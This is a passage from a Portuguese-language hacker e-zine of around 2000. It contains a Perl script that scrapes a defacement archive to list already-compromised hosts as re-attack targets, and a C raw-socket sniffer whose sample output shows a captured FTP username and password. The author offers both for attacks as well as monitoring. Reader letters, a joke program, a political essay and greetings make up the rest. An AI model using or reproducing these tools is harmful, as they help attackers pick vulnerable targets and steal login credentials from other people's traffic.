toque a lata novamente com o fio, isso fara com que a lata fique novamente magnetizada. (Obeserve que ficara um ruidinho assim zuuuuuummmmmmm ). OBS: Em alguns orelhoes nao funciona :( Obrigado e t+ _xXXXP^'' ``^YXXXx_ _xXXXXP~ 16 - Attrition Scan ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Bem... Tendo em vista q a maioria dos hosts hackeados nao se atualizam contra as mesmas falhas usadas pelos invasores, decidi fazer este programinha que busca por hosts defacementeds na attrition. Este scan cria uma host-list de acordo com o sistema q vc indicar e estiver salvo na attrition. Eh facil de usar e nao vou fikar perdendo tempo explicando. <++> attr/at-scan.pl #!/usr/bin/perl # # Attrition Host Scanner # by Cheat Struck - cszine@xoommail.com # # Este programa scaneia hosts no site da attrition e faz um host list. # O programa ainda esta meio instavel mas funfa. # Apenas hosts com os systemas identificados na attrition serao scaneados. # # $host = "www.attrition.org"; get = "GET /mirror/attrition/\n\n"; #$get = "GET /mirror/attrition/2000-01.html\n\n"; #$get = "GET /mirror/attrition/2000-02.html\n\n"; #$get = "GET /mirror/attrition/2000-03.html\n\n"; #$get = "GET /mirror/attrition/2000-04.html\n\n"; #$get = "GET /mirror/attrition/2000-05.html\n\n"; #$get = "GET /mirror/attrition/2000-06.html\n\n"; use Socket; print "Attrition Host Scanner"; print "\nby Cheat Struck \\n\n"; if ($ARGV[0] eq '') { print "Usage: atscan.pl \\n"; print "\n Sys:"; print " 1 - Linux (rh, slack, suse, caldera, mandrake, debian, others); 2 - BSD (FreeBSD, OpenBSD, NetBSD, BSDI, Power BSD); 3 - Windows (NT, 95, 98, 2000); 4 - SunOS (Solaris, SCO); 5 - MAC (MacOS, MacOSX); 6 - Unix (DigitalUnix, Compaq Tru64 Unix, Generic Unix); 7 - MAC (MacOS, MacOSX); 8 - HPUX; 9 - Irix; 10 - Aix; 11 - NetWare; 12 - Digital OSF1; 13 - *NIXES; 14 - All; \n"; exit; } $sys = $ARGV[0]; $p = 80; $proto = getprotobyname('tcp'); &connection; &data1; close S; sub gethost { do{ $i++; }while(substr($temp,$i-17,17) ne "(\"); if(substr($temp,$l-3,1) ne "/") { printf("%s\n",substr($temp,$i,$l-$i-2)); } else { printf( "%s\n" , substr($temp, $i, $l-$i-3) ); } } sub connection { $in_addr = (gethostbyname($host)); $addr = sockaddr_in($p,$in_addr); socket(S, AF_INET, SOCK_STREAM, $proto) || die "Can't open socket"; connect(S,$addr) || die "Can't Connect..."; send (S,$get,0) || die "Can't send..."; } sub data1 { $i=0; $temp=""; do{ read(S, $var1, 1) || die "Can't Read"; $temp="$temp$var1"; $i++; }while(substr($temp,$i-7,7) ne ''); for($i=0; $i < length($temp); $i++) { if($sys == 1) { &linuxscan; } if($sys == 2) { &bsdscan; } if($sys == 3) { &winscan; } if($sys == 4) { &sunscan; } if($sys == 5) { &macscan; } if($sys == 6) { &unixscan; } if($sys == 7) { &macscan; } if($sys == 8) { &hpscan; } if($sys == 9) { &irixscan; } if($sys == 10) { &aixscan; } if($sys == 11) { &nwscan; } if($sys == 12) { &osscan; } if($sys == 13) { &nixes; } if($sys == 14) { &all; } } } sub linuxscan { if(substr($temp,$i-2,2) eq "Li" || substr($temp,$i-2,2) eq "Lr" || substr($temp,$i-2,2) eq "Ls" || substr($temp,$i-2,2) eq "Lu" || substr($temp,$i-2,2) eq "Lc" || substr($temp,$i-2,2) eq "Lm" || substr($temp,$i-2,2) eq "Lb" || substr($temp,$i-2,2) eq "La" || substr($temp,$i-2,2) eq "Ld" ) { &gethost; } } sub bsdscan { if(substr($temp,$i-2,2) eq "Bf" || substr($temp,$i-2,2) eq "Bo" || substr($temp,$i-2,2) eq "BO" || substr($temp,$i-2,2) eq "Bn" || substr($temp,$i-2,2) eq "BI" || substr($temp,$i-2,2) eq "Bi" || substr($temp,$i-2,2) eq "Bp" ) { &gethost; } } sub winscan { if(substr($temp,$i-2,2) eq "NT" || substr($temp,$i-2,2) eq "Nt" || substr($temp,$i-2,2) eq "2k" ) { &gethost; } } sub sunscan { if(substr($temp,$i-2,2) eq "So" || substr($temp,$i-2,2) eq "Sc" ) { &gethost; } } sub macscan { if(substr($temp,$i-2,2) eq "Mo" || substr($temp,$i-2,2) eq "MO" || substr($temp,$i-2,2) eq "Mx" || substr($temp,$i-2,2) eq "MX" ) { &gethost; } } sub unixscan { if(substr($temp,$i-2,2) eq "DG" || substr($temp,$i-2,2) eq "Dg" || substr($temp,$i-2,2) eq "C6" || substr($temp,$i-2,2) eq "UN" || substr($temp,$i-2,2) eq "Un" ) { &gethost; } } sub hpscan { if(substr($temp,$i-2,2) eq "HP" || substr($temp,$i-2,2) eq "Hp" ) { &gethost; } } sub irixscan { if(substr($temp,$i-2,2) eq "Ir" || substr($temp,$i-2,2) eq "IR" ) { &gethost; } } sub nwscan { if(substr($temp,$i-2,2) eq "NW" || substr($temp,$i-2,2) eq "Nw" ) { &gethost; } } sub aixscan { if(substr($temp,$i-2,2) eq "Ax" || substr($temp,$i-2,2) eq "AX" ) { &gethost; } } sub osscan { if(substr($temp,$i-2,2) eq "OS" || substr($temp,$i-2,2) eq "Os" ) { &gethost; } } sub nixes { if(substr($temp,$i-2,2) eq "Li" || substr($temp,$i-2,2) eq "Lr" || substr($temp,$i-2,2) eq "Ls" || substr($temp,$i-2,2) eq "Lu" || substr($temp,$i-2,2) eq "Lc" || substr($temp,$i-2,2) eq "Lm" || substr($temp,$i-2,2) eq "Lb" || substr($temp,$i-2,2) eq "La" || substr($temp,$i-2,2) eq "Ld" || substr($temp,$i-2,2) eq "Bf" || substr($temp,$i-2,2) eq "Bo" || substr($temp,$i-2,2) eq "BO" || substr($temp,$i-2,2) eq "Bn" || substr($temp,$i-2,2) eq "BI" || substr($temp,$i-2,2) eq "Bi" || substr($temp,$i-2,2) eq "Bp" || substr($temp,$i-2,2) eq "So" || substr($temp,$i-2,2) eq "Sc" || substr($temp,$i-2,2) eq "DG" || substr($temp,$i-2,2) eq "Dg" || substr($temp,$i-2,2) eq "C6" || substr($temp,$i-2,2) eq "UN" || substr($temp,$i-2,2) eq "Un" || substr($temp,$i-2,2) eq "HP" || substr($temp,$i-2,2) eq "Hp" || substr($temp,$i-2,2) eq "Ir" || substr($temp,$i-2,2) eq "IR" || substr($temp,$i-2,2) eq "Ax" || substr($temp,$i-2,2) eq "AX" ) { &gethost; } } sub all { if(substr($temp,$i-2,2) eq "Li" || substr($temp,$i-2,2) eq "Lr" || substr($temp,$i-2,2) eq "Ls" || substr($temp,$i-2,2) eq "Lu" || substr($temp,$i-2,2) eq "Lc" || substr($temp,$i-2,2) eq "Lm" || substr($temp,$i-2,2) eq "Lb" || substr($temp,$i-2,2) eq "La" || substr($temp,$i-2,2) eq "Ld" || substr($temp,$i-2,2) eq "Bf" || substr($temp,$i-2,2) eq "Bo" || substr($temp,$i-2,2) eq "BO" || substr($temp,$i-2,2) eq "Bn" || substr($temp,$i-2,2) eq "BI" || substr($temp,$i-2,2) eq "Bi" || substr($temp,$i-2,2) eq "Bp" || substr($temp,$i-2,2) eq "So" || substr($temp,$i-2,2) eq "Sc" || substr($temp,$i-2,2) eq "DG" || substr($temp,$i-2,2) eq "Dg" || substr($temp,$i-2,2) eq "C6" || substr($temp,$i-2,2) eq "UN" || substr($temp,$i-2,2) eq "Un" || substr($temp,$i-2,2) eq "HP" || substr($temp,$i-2,2) eq "Hp" || substr($temp,$i-2,2) eq "Ir" || substr($temp,$i-2,2) eq "IR" || substr($temp,$i-2,2) eq "Ax" || substr($temp,$i-2,2) eq "AX" || substr($temp,$i-2,2) eq "NT" || substr($temp,$i-2,2) eq "Nt" || substr($temp,$i-2,2) eq "2k" || substr($temp,$i-2,2) eq "Mo" || substr($temp,$i-2,2) eq "MO" || substr($temp,$i-2,2) eq "Mx" || substr($temp,$i-2,2) eq "MX" || substr($temp,$i-2,2) eq "NW" || substr($temp,$i-2,2) eq "Nw" || substr($temp,$i-2,2) eq "OS" || substr($temp,$i-2,2) eq "Os" ) { &gethost; } } <--> _xXXXP^'' ``^YXXXx_ _xXXXXP~ 17 - Sniffing Simples ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Todos sabem o que eh sniffar uma maquina nao?? Interceptar pacotes enviados de uma maquina `a outra... Os sniffer atuais o que fazem eh sniffar uma interface (tipo eth0) e gravar dados importantes tipo login/pass. A tecnica que vou mostrar aki eh mais simples, ja que este texto serve apenas como introducao ao sniffing. O que vou fazer aki eh usar o recvfrom() no tcp para exibir todo o conteudo dos pacotes recebidos por este protocolo, seja em ftp, telnet, smtp, etc... O programa q eu fiz ainda eh muito simples mas voce pode usa-lo tanto para um ataque (caso outros sniffers nao estejam compilando) qto para vijiar o que os outros estao fazendo na sua maquina. Vejamos... ~# ./sniff Em outra shell... ~$ ftp 127.0.0.1 Connected to 127.0.0.1. 220 localhost.localdomain FTP server (Version wu-2.4.2-academ[BETA-18](1) sex dez 11 14:30:11 EDT 1998) ready. Name (127.0.0.1:lamah): struck 331 Password required for struck. Password: 230 User struck logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> quit 221 Goodbye. Voltando a 1a shell... ~# ./sniff 220 localhost.localdomain FTP server (Version wu-2.4.2-academ[BETA-18](1) sex dez 11 14:30:11 EDT 1998) ready. USER struck 331 Password required for struck. PASS struck 230 User struck logged in. SYST 215 UNIX Type: L8 QUIT 221 Goodbye. Blza! Tipo... Voce pode usa-lo no telnet e vigiar o que seus usuarios estao fazendo no momento. Porem Caso muitas pessoas estejam conectadas os pacotes ficarao misturados e fika mais dificio de entender quem esta fazendo cada coisa... O mesmo pode acontecer caso conectem-se por telnet e ftp simultaneamente. Por isso o melhor eh utiliza-lo apenas qdo 1 unico usuario estiver conectado em outros casos existem programas tipo telnetsnoop que fazem isso. Ah! SSH nao pode ser sniffado pois os pacotes sao criptografados. Para parar o sniffer de Ctrl+C. <++> sniff/sniff.c #include #include #include #include #include int main(int argc, char *argv[]) { struct protoent *p; struct sockaddr_in fr0m; int tam, size; char *pkt[4096]; int s0ck; p = getprotobyname("tcp"); if ((s0ck = socket(AF_INET, SOCK_RAW, p->p_proto)) == -1) return 0; do { memset(&pkt,0x00,sizeof(pkt)); tam = sizeof(fr0m); size = recvfrom(s0ck,pkt,sizeof(pkt),0,(struct sockaddr *)&fr0m,&tam); printf("%s", &pkt[13]); } while (!0); } <--> _xXXXP^'' ``^YXXXx_ _xXXXXP~ 18 - Mais 1 programa ~YXXXXx_ _xXXXXXX( l33t )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Anonymous _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Este programa eh tao el8 que achei que seria muita sakanagem identificar o autor pq dae sua mailbox iria encher tanto com gente elogiando seu programa que ele fikaria puto cumigo. Mas o que o programa faz afinal??? Bem... ele faz simplesmente magica! Aproveitem entao... <++> Superprogs/magico.c #include char nome[100]; int idade; main(int argc, char **argv[]){ if (argc >= 2) { printf("Use %s \n\r",argv[0]); exit(0); } printf("Oi, eu sou um programinha mahgico!\n\r"); printf("Digite seu nome: "); scanf("%s",nome); printf("Digite sua idade: "); scanf("%d",&idade); printf("\n\rAGORA O MAIS INCRIVEL!\a\a\a\a"); system("clear"); printf("\n\rSEU NOME EH %s E VOCE TEM %d ANOS!!!",nome,idade); printf("\n\rPrograma Magico Versao Beta By encxxxxx! encxxxxx@xxxxxxx.com\n\r"); printf("\n\rTCHAU FOFFYS PEOPLE!\n\r"); } <--> _xXXXP^'' ``^YXXXx_ _xXXXXP~ 19 - Emails ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Hm... Agora sim chegou cartas... ======================= ======================= ======================= To: From: **********<********@bol.com.br> Subject: Fatar Error Date: Wed, 7 Jun 2000 15:35:04 -0300 Opa ! Fala Struck ! Blza kra ? Tipo véio, achei d+ sua zine, muito boa mesmo ...... gostei alem do mais, pq eu lih jah toda as coisas que vc jah escreveu, desde a cs zine 01 ateh a f3 01 ... e vih a sua evolucao, etc... sinceramente, nao tenho do que reclamar, por que tudo o que foi escrito eh supimpa ! Se vc ceder um espaco, eu escrevo algo pra zine ... Tudo bem que a gente nao paga assinatura da f3, mas ve se lanca novas edicoes com menor espaco de tempo entre elas, se bem que nao posso falar muito, por causa da s13... aquilo q vc pois dos email do cliptor, eu desconfiava desde o inicio heheheeh .... mas veja bem, de um lado ele estah certo neh hehehe .... mas por outro lado, email nao tem lado, entao fica assim.. Acho que bebi d+ ..... to muito animado ... ve se dah um pulinho naquele canal (num vou querer fazer prop.) ... [] 's ---------------------------------------- Aee!!! Legal eu descobrir q tem gente q acompanha minha "carreira" desde os 13 (ou 14) anos. C forem reler as 1as edicoes da zine podem ver q eu era um bosta e por issu achava q nao havia feito mto sucesso. Mas vejo q tava errado. Sobre o cliptor... sem comentarios... ele fiko puto cumigo. hehehe. Ah! tipo, a zine demora pq eu tenhu uma vida pra viver... Mesmo sendo vagabundo eu tenhu meus compromissos entao como a zine eh apenas um passa- tempo e nao um trabalho, escrevo ela com calma sem stress q dae fika AWS! Beber rlz!!! ======================= ======================= ======================= To: From: ******@linuxbr.com.br Date: Dom, 11 Jun 2000 0:59:27 GMT -3 Subject: Ultima tentativa Cheat Struck, seu viado: Pq tu nunca mais me respondeu ? Viro mascarado :D ? Essa eh a ultima vez q tanto falar contigo.. VE SE RESPONDE PORRA ----------------------- Nao eh culpa minha. Meu ex-email tava cum pau. =) Tenta mandar dinovo q achu q ja ta arrumado... ======================= ======================= ======================= To: From: ********<******@bol.com.br> Date: Mon, 19 Jun 2000 03:36:50 -0300 Subject: Tudo bom Ae mano beleza? Eu tava na net procurando uns zines e achei o seu e lir aquela sua biografia hehehe poxa mano tipo.. ganhei o computa na mesma epoca que vc ... comecei a me interessar por hacking tem pouco tempo... mais nao estou me dando bem pq deparo com um bando de egoitas que pensam que ue quero saber as receitinhas de bolo entende... vc teve a sorte de conhecer cars legais e ir aprendendo aos pouco com eles.. tipo man.. to ae com 17 anos hehe quero me especializar em "hacking" e vi que vc é uma pessoa que pode me ajudar.. pq vc num parece egoista e tauz.. mais como eu disse.. não quero que vc me de receitinhas de nada.. só quero me tornnar seu amigo.. e vc me guie pro caminho.. o resto eu do meus pulo :) espero que vc me entenda mano.. pq vc já deve ter passado por isso um abraço brother t+ Estou esperando sua resposta bye!! ----------------------- 1. Conheci sim gente legal, mas tbm conheci uns puto ae. Acontece q o que eu aprendi nao foi com esses kras e sim com textos q fui lendo; 2. Eu posso ajudar atravez desta zine. Nao vou fikar dando aulas particulares pq nao ganho pra isso; 3. Nao gosto de ter amigos somente por interesse; 4. Pra finalizar.. uma dica: C ta buscando infos no lugar errado, pq ninguem gosta de ser interrompido no irc para ter q explicar as coisas. Procure por textos q falem sobre o que voce quer saber. Ou assine listas de discussoes. ======================= ======================= ======================= To: From: ************ <*********@zipmail.com> Subject: sobre a zine Date: Sat, 10 Jun 2000 19:47:36 -0400 Olá meu rei, meu nome é Alan. Ficou feliz por ver que a Internet brasileira não só tem "hackers" copiadores de idéias. Gostei da sua iniciativa! Manow, sinceramente, achava que aquela mãozinha que está na edição 0, fica melhor para separar as seções. Acho que os seus leitores potenciais estão cansados e com sono, quando estao lendo. Assim a mãozinha serve pra destacar decente. Na seção de fotos, não entendi. Aquelas gatas cujos nomes estão como Cacaio, Spike, etc. São as gatas dos caras, ou voc está fazendo paródia com os caras (cacaio, spike, etc) Estou bem atrasado em nível de hacker, estou me redimindo. Tou com as classicas zines hacker (DK, Phone9, etc). Tou criando um site pra galera que assim como eu quer se iniciar, mas está cansada das copilações de textos e idéias dos outros. Vou por um link do seu site no meu. Certo? Foi manow! ----------------------- Hehe... Voce foi o primeiro a elogiar a "maozinha". Achu q o resto dos leitores nem liga muito para esses detalhes na zine. Sobre a secao fotos... a principio eu tinha colocado lah a foto original de todos mas ninguem queria aparecer nakela coisa ridicula entao pediram pra tira-las. Soh troquei as foto... fikou mais podre ainda... =) Valew pelo link... qto mais divulgada a page melhor. Falow! ======================= ======================= ======================= To: From: ********** <**********@ig.com.br> Subject: Materia para a F3 zine Date: Wed, 26 Apr 2000 07:06:18 -0300 ae kra, vai anexo a essa msg 4 arquivos para servirem como mate'ria para a F3 zine... sao 2 materias: uma sobre backdoors em LKMs e a outra sobre um prg que fiz, uma backdoor que a gente troca pelo ping do Linux... O texto ja' ta' ate' formatado pro "padrao" da zine, e so copiar e colar na zine, ok??? a proposito, se puder me indicar algum canal onde posso trocar umas ideias com outras pessoas ( nada daquele papo de "ah to com um cliente de NetBUS pra linux. !!! que roola nos #*hack*), so' povo "udigrudi" messmo... PS: eu sei que era pra eu mandar um e-mail antes falando sobre o que a mate'ria diria e tal, mas nao deu... ----------------------- Aeeeee... valew pelas materia.. fikaram muito r0x. Tipo... soh botei esse email aki porque nao consegui entrar em contato com vc ateh o dia da publicacao dessa edicao, entao como eu sei q c deve ta lendo... Voce podi me encontrar no #fashion_eh_meu_ovo na Brasnerd na maioria das noites. Nesse knal tambem costumam frequentar os dk. Tem outros knais de grupos afudes mesmo, mas eu to meio q proibido de falar e tal... =7 Issu ae... c tu tiver lendo issu manda outro email q eu tento entra em contato novamente. Falow! ======================= ======================= ======================= To: From: ******@globo.com Subject: ta foda a zine! Date: Tue, 4 Jul 2000 03:21:47 -0300 Coe mukirana! Ai essa tua zine ta foda, parabens. porra ai, sei que nao tem nada a ver, mas vc podia meter umas paradas criticando a rede bobo (globo) a fome, parade de Brasil 500 e esses politicos mukiranas. Se quiser material eu faco na boa com todo prazer pra galera jovem se ligar que sao tudo uns safados. e porra coloca umas criticas a esses amaricanos babacas tb.. eles sao uns idiotas se acham os fodas.. foda-se eles se liga na parada que eu descobri, é mais importante que o Genoma, a 5a lei de newton é a lei do FODA-SE, tudo que sobe foda-se tudo que vai foda-se tudo que vem foda-se entao tudo que se foda! (porra nada a ver, mo viajem) valeu mukirana, ve se nao para com essa zine pq ta manera Abracos ----------------------- Vo ti dizer... eh cada um que me aparece.... Um detalhe sobre a parada do Brasil 500 (ja q tu tocou no assunto). Eu achu errado estarem comemorando esta data mas tbm achu errado os anarquistas fuderem com a comemoracao dos outros. Pensa assim... O judeu nao aceita o natal mas tb nao sai queimando os pinheiros na rua. Eu curto estes manifestos (do estilo bl0w e inferno-br) e c tu dar-se o trabalho de escrever eu abro um espaco aki para publica-los. Falow! ======================= ======================= ======================= To: From: ********* ***** <******@tutopia.com.br> Date: Wed, 19 Jul 2000 00:24:37 -0300 Subject: Shit, struck! Caro amigo Cheat Struck, Estava eu navegando nas ondas digitais da Internet, quando, derrepente, deparei-me com o seu Eletronic Zine. Lendo aquela melosa e triste auto-biografia, na qual meu nick foi citado, venho, poir intermédio deste mero Eletronic Mail, dizer: bem, não sei. Como vi também, na segunda edição do mesmo zine, um apelo para mandar-lhe um e-mail, resolvi escrever um. Os logs de meus amigos phrog e sk me proporcionaram uma boa risada. Tendo em vista que seu tempo esteja curtissimo, por que sei como é tulmutuoso o fechamento de um Eletronic Zine, escrevo-lhe este pedaço de redação congratulando-o pelo * trabalho(prefiro não expressar minha opinião, já que este Eletronic Mail será publicado no seu Eletronic Zine). Do seu cordial amigo On-Line, Source Code. (Power OFF Sistemas de Iluminação LTDA. LKZ Venenos Para Ratos LTDA. Linux Psicólogos S/A) ----------------------- Rlz q tu sabe q eu ia publicar o email e decidiu escrever tudo certinhu pra pensarem q c eh educado... =) Valew por... hm... bem... como c nao disse c curtiu ou odiou a zine entao valew por apenas ter mandado o email. Falow!!! ======================= ======================= ======================= To: Date: Mon, 24 Jul 2000 07:08:25 -0700 From: ****** ******* <*********@hackernews.com.br> Subject: Zine Cheat; Cara, sinceramente gostei muito da zine.. Nao deixe ela se perder no tempo-espaco e acabar assim como um Axur05 da vida, estamos precisando de bom material na net, e com essa linguagem direta e sem rodeios que voce possui, cara. Vou achar um tempo e contribuir de alguma forma para sua zine meu, aguarde meu retorno, pode crer que vai rolar. Falo irmao ----------------------- Valew! Tipo... sei lah... to com um pensamento completamente diferento do que eu tinha qdo fazia a csz. Ao invez de lancar a zine semanalmente com pouco conteudo eu prefiro atrasar ela 2 ou 3 meses e fikar mais lita. A contribuicao dos leitores ta ajudando entao nao deixe de envia-la. Nota: A materia sera avaliada antes de publicada... Cya! ======================= ======================= ======================= _xXXXP^'' ``^YXXXx_ _xXXXXP~ 20 - Th3 3nd ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ AHHHHHH!!!! Ufa! O fedor ja passou! Depois de voce ter aguentado toda essa merda ja pode voltar a respirar aliviado. Tipo... Alem de somente passar infos para voces, espero tambem passar um pouco de cultura e coisas sobre o que possam refletir para que usem a inteligencia obtida de forma inteligente. Entao ae vai um texto escrito exclusivamente para a f3: Bem...o que será que eu posso dizer... ou melhor, sobre o que falar sobre consciência política e igualitária em país como o Brasil é meio irônico, na concepção da maioria das pessoas ter igualdade é poder comprar tanto quanto o outro, pouco importa se é preciso matar alguém para usar aquele tênis nike que deixa com a sensação de vencedor que você vê na tv ou sangrar até a morte os cofres públicos para ter cada vez mais dinheiro que você nunca vai usar sequer a metade É uma questão de cultura (ou falta dela, isso é relativo,i.e, relate ;) nós fomos ensinados a sermos assim, somos capitalistas e o nosso lema é: "lucro a qualquer custo", vivemos em um país que nada mais é que um quintal das elites... onde elas apenas usam como deposito de lixo e provedor de material, ah que sux! e depois dizem que aqui tem democracia.. só se for o governo do demo =), po.. todo mundo mundo reclama que o sistema é uma droga que o sistema isso que o sistema aquilo, mas tipo.. quem faz o sistema? somos nós... quem elege os carinhas? somos nós (eu não.. vocês =P), quem criou o capitali$mo? camponeses que acreditavam que lucro levaria pro céu, iludidas por mentiras criadas para fortalecer o capitali$mo, é um circulo vicioso... as pessoas acreditam que tem que matar a mae e o pai para ganhar dinheiro para melhorar de vida, o que só reforça o system... o que fazer então? isso é muito relativo, uns dizem luta armada (sangue! sangue!), mas tipo como seguidor de gandhi prefiro a conscientização, as pessoas se ligarem que nao aidianta pensar em si proprio e tals... que todo mundo é friend e essas coisas bem yag's mas que todo mundo faz questão de esquecer e que podia melhorar muito mais essa joça by RoadHouse Gr33Tz To... ^^VENTO^^ Agua! Fogo! Terra! Coracao! Vai Planeta!!!! Cacaio Cuidado! Nao faca contato direto! Carti Parece o Mr. Bean depois de uma plastica sem sucesso. Cliptor Seu unico amigo no colegio eh um professor gay. Dave Mustaine Entojado com problemas de urticaria. DiE4YoU "I see death people." Draco Colecionador de frutas de formatos sacanas. Eletronic Faz pesquisas em vestiarios femininos. Encripty "Ah mae! Eu nao quero ir pra aula! Os outros garotos zombam de mim." Kamikase Shell Sua grande diversao eh jogar sal em lesmas. hak Piloto de aviao alcolatra. MaskMaster Meu Deus!!! O que aconteceu com a sua cara??? MidNight Chora quando sua mae le chapeuzinho vermelho pra ele durmir. N4rfy Tem medo de sapos. Pode pegar uma verruga. nosmiles Pinguso q toma cerveja dos cinzeros dos bares. OvEr_DeAtH Conselheiro sacana q aconselha os outros a amputarem seus penis. pcHazard Campeao do concurso de talentos ocultos. Bebe 6 latas de ceva numa empinada soh. pcmcia Faz exames de prostata 3 vezes por dia. ReNeGaDe Da aulas de como mascar tabaco. RoadHouse Funcionario do mes do McDonnalds. "Qual o seu pedido?" Slash_DOMI Baby Sauro??? Nao eh mamae!!! Source fez curso de fabricacao de vinho e esqueceu como dirigir. s0laris Presidente do fa-clube dos back street boys, n'sync e five. Spike Brigou com um vira-lata o qual mordeu suas bolas. Thasmx Vendedor de amostras gratis. Tinkertrain Assiste telletubies com seu vo. TPGA Nao tem vergonha de ser sempre o ultimo da lista? C voce nao gostou de aparecer aki avisa. C voce quizer aparecer aki consulte um psicologo depois de falar cumigo. Por problemas pessoais a zine vai atrasar um pouco par sair a partir de agora entao nao estranhem a demora... kra... eu achu q eh issu. Abracos para toda a galera q ta me apoiando e ateh daki a alguns meses! Falow! ___This_is_The_EOF___